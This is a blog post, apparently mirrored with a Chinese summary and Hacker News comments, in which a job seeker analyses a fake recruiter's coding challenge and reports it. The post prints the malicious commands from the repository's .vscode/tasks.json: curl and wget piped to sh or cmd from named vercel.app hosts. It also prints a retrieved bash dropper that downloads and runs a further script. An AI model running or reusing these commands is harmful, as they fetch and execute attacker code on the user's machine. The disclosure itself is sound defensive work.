Runjak.codes:一项对抗性编码测试
Runjak.codes: An adversarial coding test

原始链接: https://runjak.codes/posts/2026-01-21-adversarial-coding-test/

在求职过程中,作者遇到一个可疑的招聘流程。在与一家名为Solvolabs的公司(其网站外观像诈骗网站,令人警惕)进行初步沟通后,他们收到一个通过GitHub仓库提供的编程挑战。调查该仓库的历史记录显示,一系列命令旨在从多个Vercel应用域名下载并执行shell脚本。 这些脚本,特别是来自“codeviewer-three.vercel.app”的脚本,被设计用来下载并运行进一步的脚本,可能危及用户的系统。这些脚本使用了有限生命周期的JWT令牌,并收集了用户的IP地址和会话ID等数据。 意识到这是一次网络钓鱼尝试,作者向GitHub报告了恶意组织,并将这些域名报告给Vercel。GitHub组织随后被删除。作者反思了即使经过培训,也难以避免落入网络钓鱼陷阱的可能性,并强调了在求职过程中保持警惕的重要性,分享他们的经历作为警示。

Hacker News 新闻 | 过去 | 评论 | 提问 | 展示 | 招聘 | 提交 登录 Runjak.codes: 一个对抗性编码测试 (runjak.codes) 30 分,by todsacerdoti 13小时前 | 隐藏 | 过去 | 收藏 | 2 评论 acedTrex 10小时前 | 下一个 [–] 文章值得推荐,仅仅因为这一句> 对我来说,这是区块链/NFT诈骗的视觉语言,与许多AI公司非常喜欢的肛门主题混合在一起。 有趣,一旦你看到了就无法忽视。回复 spelunker 9小时前 | 上一个 [–] 恶意代码的实际意图是什么?或者也许这根本不是重点。我不知道 .vscode/tasks.json 是什么。回复 指南 | 常见问题 | 列表 | API | 安全 | 法律 | 申请YC | 联系 搜索:
相关文章

原文
Table of contents

Prelude

This morning when scrolling the Fediverse a post by 0xabad1dea caught my attention:

The confirmation dialog in question looks like this:

Happenstance is that I’m currently looking for a job.

I’ve been in talks. Or, in this case, I was led to believe I was 🙃.

There were some interesting technical aspects, some business background but little info about the company.

So we continued talks until I was given a name and access to a repository for some coding exercise.

Enter Solvolabs

Yeah - I searched the company and this is what their website looked like.

To me this is the visual language of Blockchain/NFT scams mixed with the butthole motifs that AI companies like so much.

So thankfully my suspicions where raised when I checked out the repository for the coding challenge.

Note: it could be that the GitHub organization of the same name and the company Solvolabs are unrelated. It fits a narrative though.

Tangent, phishing It is my belief that given enough time and chances we will just click a button.

Phishing training and vigilance can only do so much. One day we will be distracted or tired and click the wrong button at the wrong time.

This is why the Hierarchy of controls is like it is and why phishing trainings are often so useless.

This time I was lucky though.

The smoking gun

My first step was to look at the history of .vscode/tasks.json. I hoped that this would highlight exciting changes and shortcut having to scroll through the entire file.

A quick investigation

Filtering all the variants of tasks.json over time I obtained this list of commands:

# commit 1f09787fa3e41dc66c253bd9c7eb6d81a595e52e
curl 'https://codeviewer-three.vercel.app/task/mac?token=40abc1fa2901' | sh
wget -qO- 'https://codeviewer-three.vercel.app/task/linux?token=40abc1fa2901' | sh
curl https://codeviewer-three.vercel.app/task/windows?token=40abc1fa2901 | cmd
# commit 87539eefa9ed1f0c2ba29b5cff9010edf74e581e
curl 'https://jerryfox-platform.vercel.app/task/mac?token=40abc1fa2901' | sh
wget -qO- 'https://jerryfox-platform.vercel.app/task/linux?token=40abc1fa2901' | sh
curl https://jerryfox-platform.vercel.app/task/windows?token=40abc1fa2901 | cmd
# commit 11b4a10208d87d32ffee8a59132c4d9925f3c7a4
curl 'https://vscode-lnc.vercel.app/task/mac?token=40abc1fa2901' | sh
wget -qO- 'https://vscode-lnc.vercel.app/task/linux?token=40abc1fa2901' | sh
curl https://vscode-lnc.vercel.app/task/windows?token=40abc1fa2901 | cmd

It turned out that jerryfox-platform.vercel.app and vscode-lnc.vercel.app were already blocked by Vercel.

In contrast https://codeviewer-three.vercel.app produced shell scripts like this:

#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://codeviewer-three.vercel.app/task/tokenlinux?token=40abc1fa2901&st=<JWT>"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0

This script drops a tokenlinux.sh and executes it directly.

In turn that script fetches another script that fetches and executes a task file.

The follow-up script is fetched with a JWT valid for 3 minutes, which contains data like this:

{
  "ip": "…",
  "sessionId": "…",
  "step": 1,
  "timestamp": 1768987490765,
  "origToken": "40abc1fa2901",
  "iat": 1768987490,
  "exp": 1768987670
}

At this point I stopped my investigations and decided to report the issue.

Reporting

I’ve reported the organization with GitHub, and got a confirmation mail within a few hours.

I’ve also reported the domain with Vercel, and am currently waiting for a response.

Closing notes

Chat: I think I was lucky, and also they don’t have a job for me anymore⁉️

Causing the deletion of the GitHub organization I’m interviewing with wasn’t on my bingo card today 😅.

Time to look further - and if you’re looking, too:

All the best, and be careful out there 💖

联系我们 contact @ memedata.com